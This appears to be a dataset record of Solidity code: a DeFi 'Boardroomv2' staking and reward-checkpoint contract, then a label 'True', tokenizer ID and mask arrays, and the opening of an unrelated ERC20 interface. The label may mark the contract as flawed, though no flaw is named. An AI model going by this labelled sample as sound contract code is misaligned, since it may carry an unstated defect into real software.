/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/owner/Operator.sol
pragma solidity ^0.6.0;
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(
address indexed previousOperator,
address indexed newOperator
);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(
_operator == msg.sender,
'operator: caller is not the operator'
);
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(
newOperator_ != address(0),
'operator: zero address given for new operator'
);
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
// File: contracts/utils/Epoch.sol
pragma solidity ^0.6.0;
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastExecutedAt;
/* ========== CONSTRUCTOR ========== */
constructor(
uint256 _period,
uint256 _startTime,
uint256 _startEpoch
) public {
require(_startTime > block.timestamp, 'Epoch: invalid start time');
period = _period;
startTime = _startTime;
lastExecutedAt = startTime.add(_startEpoch.mul(period));
}
/* ========== Modifier ========== */
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
require(now > startTime, 'Epoch: not started yet');
require(getCurrentEpoch() >= getNextEpoch(), 'Epoch: not allowed');
_;
lastExecutedAt = block.timestamp;
}
/* ========== VIEW FUNCTIONS ========== */
// epoch
function getLastEpoch() public view returns (uint256) {
return lastExecutedAt.sub(startTime).div(period);
}
function getCurrentEpoch() public view returns (uint256) {
return Math.max(startTime, block.timestamp).sub(startTime).div(period);
}
function getNextEpoch() public view returns (uint256) {
if (startTime == lastExecutedAt) {
return getLastEpoch();
}
return getLastEpoch().add(1);
}
function nextEpochPoint() public view returns (uint256) {
return startTime.add(getNextEpoch().mul(period));
}
// params
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
/* ========== GOVERNANCE ========== */
function setPeriod(uint256 _period) external onlyOperator {
period = _period;
}
}
// File: contracts/ProRataRewardCheckpoint.sol
pragma solidity ^0.6.0;
// This is forked and modified from https://github.com/BarnBridge/BarnBridge-YieldFarming/blob/master/contracts/Staking.sol
contract ProRataRewardCheckpoint {
using SafeMath for uint256;
uint256 internal epochDuration;
uint256 internal epoch1Start;
uint128 constant private BASE_MULTIPLIER = uint128(1 * 10 ** 18);
address private stakeToken;
struct Pool {
uint256 size;
bool set;
}
// for each token, we store the total pool size
mapping(uint256 => Pool) private poolSize;
// a checkpoint of the valid balance of a user for an epoch
struct Checkpoint {
uint128 epochId;
uint128 multiplier;
uint256 startBalance;
uint256 newDeposits;
}
// balanceCheckpoints[user][token][]
mapping(address => Checkpoint[]) private balanceCheckpoints;
uint128 private lastWithdrawEpochId;
constructor (uint256 _epochDuration, uint256 _epoch1Start, address _stakeToken) public {
epoch1Start = _epoch1Start;
epochDuration = _epochDuration;
stakeToken = _stakeToken;
}
// this is the fork from deposit
function depositCheckpoint(address user, uint256 amount, uint256 previousAmount, uint128 currentEpoch) internal {
IERC20 token = IERC20(stakeToken);
// epoch logic
uint128 currentMultiplier = currentEpochMultiplier(currentEpoch);
if (!epochIsInitialized(currentEpoch)) {
manualEpochInit(currentEpoch, currentEpoch);
}
// update the next epoch pool size
Pool storage pNextEpoch = poolSize[currentEpoch + 1];
pNextEpoch.size = token.balanceOf(address(this));
pNextEpoch.set = true;
Checkpoint[] storage checkpoints = balanceCheckpoints[user];
uint256 balanceBefore = getEpochUserBalance(user, currentEpoch);
// if there's no checkpoint yet, it means the user didn't have any activity
// we want to store checkpoints both for the current epoch and next epoch because
// if a user does a withdraw, the current epoch can also be modified and
// we don't want to insert another checkpoint in the middle of the array as that could be expensive
if (checkpoints.length == 0) {
checkpoints.push(Checkpoint(currentEpoch, currentMultiplier, 0, amount));
// next epoch => multiplier is 1, epoch deposits is 0
checkpoints.push(Checkpoint(currentEpoch + 1, BASE_MULTIPLIER, amount, 0));
} else {
uint256 last = checkpoints.length - 1;
// the last action happened in an older epoch (e.g. a deposit in epoch 3, current epoch is >=5)
if (checkpoints[last].epochId < currentEpoch) {
uint128 multiplier = computeNewMultiplier(
getCheckpointBalance(checkpoints[last]),
BASE_MULTIPLIER,
amount,
currentMultiplier
);
checkpoints.push(Checkpoint(currentEpoch, multiplier, getCheckpointBalance(checkpoints[last]), amount));
checkpoints.push(Checkpoint(currentEpoch + 1, BASE_MULTIPLIER, previousAmount.add(amount), 0));
}
// the last action happened in the previous epoch
else if (checkpoints[last].epochId == currentEpoch) {
checkpoints[last].multiplier = computeNewMultiplier(
getCheckpointBalance(checkpoints[last]),
checkpoints[last].multiplier,
amount,
currentMultiplier
);
checkpoints[last].newDeposits = checkpoints[last].newDeposits.add(amount);
checkpoints.push(Checkpoint(currentEpoch + 1, BASE_MULTIPLIER, previousAmount.add(amount), 0));
}
// the last action happened in the current epoch
else {
if (last >= 1 && checkpoints[last - 1].epochId == currentEpoch) {
checkpoints[last - 1].multiplier = computeNewMultiplier(
getCheckpointBalance(checkpoints[last - 1]),
checkpoints[last - 1].multiplier,
amount,
currentMultiplier
);
checkpoints[last - 1].newDeposits = checkpoints[last - 1].newDeposits.add(amount);
}
checkpoints[last].startBalance = previousAmount.add(amount);
}
}
uint256 balanceAfter = getEpochUserBalance(user, currentEpoch);
poolSize[currentEpoch].size = poolSize[currentEpoch].size.add(balanceAfter.sub(balanceBefore));
}
// this is the fork from withdraw
function withdrawCheckpoint(address user, uint256 amount, uint256 previousAmount, uint128 currentEpoch) internal {
IERC20 token = IERC20(stakeToken);
lastWithdrawEpochId = currentEpoch;
if (!epochIsInitialized(currentEpoch)) {
manualEpochInit(currentEpoch, currentEpoch);
}
// update the pool size of the next epoch to its current balance
Pool storage pNextEpoch = poolSize[currentEpoch + 1];
pNextEpoch.size = token.balanceOf(address(this));
pNextEpoch.set = true;
Checkpoint[] storage checkpoints = balanceCheckpoints[user];
uint256 last = checkpoints.length - 1;
// note: it's impossible to have a withdraw and no checkpoints because the balance would be 0 and revert
// there was a deposit in an older epoch (more than 1 behind [eg: previous 0, now 5]) but no other action since then
if (checkpoints[last].epochId < currentEpoch) {
checkpoints.push(Checkpoint(currentEpoch, BASE_MULTIPLIER, previousAmount.sub(amount), 0));
poolSize[currentEpoch].size = poolSize[currentEpoch].size.sub(amount);
}
// there was a deposit in the `epochId - 1` epoch => we have a checkpoint for the current epoch
else if (checkpoints[last].epochId == currentEpoch) {
checkpoints[last].startBalance = previousAmount.sub(amount);
checkpoints[last].newDeposits = 0;
checkpoints[last].multiplier = BASE_MULTIPLIER;
poolSize[currentEpoch].size = poolSize[currentEpoch].size.sub(amount);
}
// there was a deposit in the current epoch
else {
Checkpoint storage currentEpochCheckpoint = checkpoints[last - 1];
uint256 balanceBefore = getCheckpointEffectiveBalance(currentEpochCheckpoint);
// in case of withdraw, we have 2 branches:
// 1. the user withdraws less than he added in the current epoch
// 2. the user withdraws more than he added in the current epoch (including 0)
if (amount < currentEpochCheckpoint.newDeposits) {
uint128 avgDepositMultiplier = uint128(
balanceBefore.sub(currentEpochCheckpoint.startBalance).mul(BASE_MULTIPLIER).div(currentEpochCheckpoint.newDeposits)
);
currentEpochCheckpoint.newDeposits = currentEpochCheckpoint.newDeposits.sub(amount);
currentEpochCheckpoint.multiplier = computeNewMultiplier(
currentEpochCheckpoint.startBalance,
BASE_MULTIPLIER,
currentEpochCheckpoint.newDeposits,
avgDepositMultiplier
);
} else {
currentEpochCheckpoint.startBalance = currentEpochCheckpoint.startBalance.sub(
amount.sub(currentEpochCheckpoint.newDeposits)
);
currentEpochCheckpoint.newDeposits = 0;
currentEpochCheckpoint.multiplier = BASE_MULTIPLIER;
}
uint256 balanceAfter = getCheckpointEffectiveBalance(currentEpochCheckpoint);
poolSize[currentEpoch].size = poolSize[currentEpoch].size.sub(balanceBefore.sub(balanceAfter));
checkpoints[last].startBalance = previousAmount.sub(amount);
}
}
/*
* Returns the valid balance of a user that was taken into consideration in the total pool size for the epoch
* A deposit will only change the next epoch balance.
* A withdraw will decrease the current epoch (and subsequent) balance.
*/
function getEpochUserBalance(address user, uint128 epochId) public view returns (uint256) {
Checkpoint[] storage checkpoints = balanceCheckpoints[user];
// if there are no checkpoints, it means the user never deposited any tokens, so the balance is 0
if (checkpoints.length == 0 || epochId < checkpoints[0].epochId) {
return 0;
}
uint min = 0;
uint max = checkpoints.length - 1;
// shortcut for blocks newer than the latest checkpoint == current balance
if (epochId >= checkpoints[max].epochId) {
return getCheckpointEffectiveBalance(checkpoints[max]);
}
// binary search of the value in the array
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].epochId <= epochId) {
min = mid;
} else {
max = mid - 1;
}
}
return getCheckpointEffectiveBalance(checkpoints[min]);
}
/*
* manualEpochInit can be used by anyone to initialize an epoch based on the previous one
* This is only applicable if there was no action (deposit/withdraw) in the current epoch.
* Any deposit and withdraw will automatically initialize the current and next epoch.
*/
function manualEpochInit(uint128 epochId, uint128 currentEpoch) internal {
require(epochId <= currentEpoch, "can't init a future epoch");
Pool storage p = poolSize[epochId];
if (epochId == 0) {
p.size = uint256(0);
p.set = true;
} else {
require(!epochIsInitialized(epochId), "Staking: epoch already initialized");
require(epochIsInitialized(epochId - 1), "Staking: previous epoch not initialized");
p.size = poolSize[epochId - 1].size;
p.set = true;
}
// emit ManualEpochInit(msg.sender, epochId, tokens);
}
function computeNewMultiplier(uint256 prevBalance, uint128 prevMultiplier, uint256 amount, uint128 currentMultiplier) public pure returns (uint128) {
uint256 prevAmount = prevBalance.mul(prevMultiplier).div(BASE_MULTIPLIER);
uint256 addAmount = amount.mul(currentMultiplier).div(BASE_MULTIPLIER);
uint128 newMultiplier = uint128(prevAmount.add(addAmount).mul(BASE_MULTIPLIER).div(prevBalance.add(amount)));
return newMultiplier;
}
/*
* Returns the percentage of time left in the current epoch
*/
function currentEpochMultiplier(uint128 currentEpoch) public view returns (uint128) {
uint256 currentEpochEnd = epoch1Start + currentEpoch * epochDuration;
uint256 timeLeft = currentEpochEnd - block.timestamp;
uint128 multiplier = uint128(timeLeft * BASE_MULTIPLIER / epochDuration);
return multiplier;
}
/*
* Returns the total amount of `tokenAddress` that was locked from beginning to end of epoch identified by `epochId`
*/
function getEpochPoolSize(uint128 epochId) public view returns (uint256) {
// Premises:
// 1. it's impossible to have gaps of uninitialized epochs
// - any deposit or withdraw initialize the current epoch which requires the previous one to be initialized
if (epochIsInitialized(epochId)) {
return poolSize[epochId].size;
}
// epochId not initialized and epoch 0 not initialized => there was never any action on this pool
if (!epochIsInitialized(0)) {
return 0;
}
// epoch 0 is initialized => there was an action at some point but none that initialized the epochId
// which means the current pool size is equal to the current balance of token held by the staking contract
IERC20 token = IERC20(stakeToken);
return token.balanceOf(address(this));
}
/*
* Checks if an epoch is initialized, meaning we have a pool size set for it
*/
function epochIsInitialized(uint128 epochId) public view returns (bool) {
return poolSize[epochId].set;
}
function getCheckpointBalance(Checkpoint memory c) internal pure returns (uint256) {
return c.startBalance.add(c.newDeposits);
}
function getCheckpointEffectiveBalance(Checkpoint memory c) internal pure returns (uint256) {
return getCheckpointBalance(c).mul(c.multiplier).div(BASE_MULTIPLIER);
}
}
// File: contracts/interfaces/IFeeDistributorRecipient.sol
pragma solidity ^0.6.0;
abstract contract IFeeDistributorRecipient is Ownable {
address public feeDistributor;
modifier onlyFeeDistributor() {
require(
_msgSender() == feeDistributor,
'Caller is not fee distributor'
);
_;
}
function setFeeDistributor(address _feeDistributor)
external
virtual
onlyOwner
{
feeDistributor = _feeDistributor;
}
}
// File: contracts/Boardroomv2.sol
pragma solidity ^0.6.0;
//pragma experimental ABIEncoderV2;
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 directorShare = _balances[msg.sender];
require(
directorShare >= amount,
'Boardroom: withdraw request greater than staked amount'
);
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = directorShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Boardroomv2 is ShareWrapper, ContractGuard, Epoch, ProRataRewardCheckpoint, IFeeDistributorRecipient{
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
/* ========== DATA STRUCTURES ========== */
struct Boardseat {
uint256 lastSnapshotIndex;
uint256 startEpoch;
uint256 lastEpoch;
mapping(uint256 => uint256) rewardEarned;
}
struct BoardSnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
/* ========== STATE VARIABLES ========== */
IERC20 private cash;
mapping(address => Boardseat) private directors;
BoardSnapshot[] private boardHistory;
/* ========== CONSTRUCTOR ========== */
constructor(IERC20 _cash, IERC20 _share, uint256 _startTime)
public Epoch(24 hours, _startTime, 0)
ProRataRewardCheckpoint(6 hours, _startTime, address(_share))
{
cash = _cash;
share = _share;
BoardSnapshot memory genesisSnapshot = BoardSnapshot({
time: block.number,
rewardReceived: 0,
rewardPerShare: 0
});
boardHistory.push(genesisSnapshot);
}
/* ========== Modifiers =============== */
modifier directorExists {
require(
balanceOf(msg.sender) > 0,
'Boardroom: The director does not exist'
);
_;
}
modifier updateReward(address director) {
if (director != address(0)) {
Boardseat storage seat = directors[director];
uint256 currentEpoch = getCurrentEpoch();
seat.rewardEarned[currentEpoch] = seat.rewardEarned[currentEpoch].add(earnedNew(director));
seat.lastEpoch = currentEpoch;
seat.lastSnapshotIndex = latestSnapshotIndex();
}
_;
}
/* ========== VIEW FUNCTIONS ========== */
function calculateClaimableRewardsForEpoch(address wallet, uint256 epoch) view public returns (uint256) {
return calculateClaimable(directors[wallet].rewardEarned[epoch], epoch);
}
function calculateClaimable(uint256 earned, uint256 epoch) view public returns (uint256) {
uint256 epoch_delta = getCurrentEpoch() - epoch;
uint256 ten = 10;
uint256 five = 5;
uint256 tax_percentage = (epoch_delta > 4) ? 0 : ten.mul(five.sub(epoch_delta));
uint256 hundred = 100;
return earned.mul(hundred.sub(tax_percentage)).div(hundred);
}
// staking before start time regards as staking at epoch 0.
function getCheckpointEpoch() view public returns(uint128) {
if (block.timestamp < epoch1Start) {
return 0;
}
return uint128((block.timestamp - epoch1Start) / epochDuration + 1);
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return boardHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (BoardSnapshot memory) {
return boardHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address director)
public
view
returns (uint256)
{
return directors[director].lastSnapshotIndex;
}
function getLastSnapshotOf(address director)
internal
view
returns (BoardSnapshot memory)
{
return boardHistory[getLastSnapshotIndexOf(director)];
}
// =========== Director getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address director) public view returns (uint256) {
uint256 totalRewards = 0;
for (uint i = directors[director].startEpoch; i <= directors[director].lastEpoch; i++) {
totalRewards = totalRewards.add(calculateClaimableRewardsForEpoch(director, i));
}
return totalRewards;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount)
public
override
onlyOneBlock
updateReward(msg.sender)
{
require(amount > 0, 'Boardroom: Cannot stake 0');
uint256 previousBalance = balanceOf(msg.sender);
super.stake(amount);
depositCheckpoint(msg.sender, amount, previousBalance, getCheckpointEpoch());
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount)
public
override
onlyOneBlock
directorExists
updateReward(msg.sender)
{
require(amount > 0, 'Boardroom: Cannot withdraw 0');
uint256 previousBalance = balanceOf(msg.sender);
super.withdraw(amount);
withdrawCheckpoint(msg.sender, amount, previousBalance, getCheckpointEpoch());
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
claimReward(earned(msg.sender));
}
function claimReward(uint256 amount)
public
updateReward(msg.sender)
{
require(amount > 0, 'Amount cannot be zero');
uint256 totalClaimAmount = amount;
uint256 totalEarned = earned(msg.sender);
require(amount <= totalEarned, 'Amount cannot be larger than total claimable rewards');
cash.safeTransfer(msg.sender, amount);
for (uint i = directors[msg.sender].startEpoch; amount > 0; i++) {
uint256 claimable = calculateClaimableRewardsForEpoch(msg.sender, i);
if (amount > claimable) {
directors[msg.sender].rewardEarned[i] = 0;
directors[msg.sender].startEpoch = i.add(1);
amount = amount.sub(claimable);
} else {
removeRewardsForEpoch(msg.sender, amount, i);
amount = 0;
}
}
// In this case, startEpoch will be calculated again for the next stake
if (amount == totalEarned) {
directors[msg.sender].startEpoch = 0;
}
emit RewardPaid(msg.sender, totalClaimAmount);
}
// Claim rewards for specific epoch
function claimRewardsForEpoch(uint256 amount, uint256 epoch)
public
updateReward(msg.sender)
{
require(amount > 0, 'Amount cannot be zero');
uint256 claimable = calculateClaimableRewardsForEpoch(msg.sender, epoch);
if (claimable > 0) {
require(
amount <= claimable,
'Amount cannot be larger than the claimable rewards for the epoch'
);
cash.safeTransfer(msg.sender, amount);
removeRewardsForEpoch(msg.sender, amount, epoch);
}
}
function allocateSeigniorage(uint256 amount)
external
onlyOneBlock
onlyOperator
{
require(amount > 0, 'Boardroom: Cannot allocate 0');
require(
totalSupply() > 0,
'Boardroom: Cannot allocate when totalSupply is 0'
);
// Create & add new snapshot
BoardSnapshot memory latestSnapshot = getLatestSnapshot();
uint256 prevRPS = latestSnapshot.rewardPerShare;
uint256 poolSize = getEpochPoolSize(getCheckpointEpoch());
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(poolSize));
BoardSnapshot memory newSnapshot = BoardSnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
boardHistory.push(newSnapshot);
cash.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
/*
* manualEpochInit can be used by anyone to initialize an epoch based on the previous one
* This is only applicable if there was no action (deposit/withdraw) in the current epoch.
* Any deposit and withdraw will automatically initialize the current and next epoch.
*/
function manualCheckpointEpochInit(uint128 checkpointEpochId) public {
manualEpochInit(checkpointEpochId, getCheckpointEpoch());
}
function allocateTaxes(uint256 amount)
external
onlyOneBlock
onlyFeeDistributor
{
require(amount > 0, 'Boardroom: Cannot allocate 0');
require(
totalSupply() > 0,
'Boardroom: Cannot allocate when totalSupply is 0'
);
// Create & add new snapshot
BoardSnapshot memory latestSnapshot = getLatestSnapshot();
uint256 prevRPS = latestSnapshot.rewardPerShare;
uint256 poolSize = getEpochPoolSize(getCheckpointEpoch());
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(poolSize));
BoardSnapshot memory newSnapshot = BoardSnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
boardHistory.push(newSnapshot);
cash.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function earnedNew(address director) private view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(director).rewardPerShare;
uint256 directorEffectiveBalance = getEpochUserBalance(director, getCheckpointEpoch());
return
directorEffectiveBalance.mul(latestRPS.sub(storedRPS)).div(1e18);
}
function removeRewardsForEpoch(address wallet, uint256 amount, uint256 epoch) private
onlyOneBlock
{
uint256 claimable = calculateClaimableRewardsForEpoch(wallet, epoch);
if (claimable > 0) {
require(
amount <= claimable,
'Amount cannot be larger than the claimable rewards for the epoch'
);
directors[wallet].rewardEarned[epoch] =
claimable.sub(amount).mul(directors[wallet].rewardEarned[epoch]).div(claimable);
}
}
/* ========== EVENTS ========== */
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6185,
1011,
2656,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
/**
* Ryan, the NyanDodge
* Telegram: NyanDodge
* Twitter: @ryandodgeeee
* Website: https://nyan-doge.com/
* Yes it's me Ryan! I'm the Nyan Dodge!
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
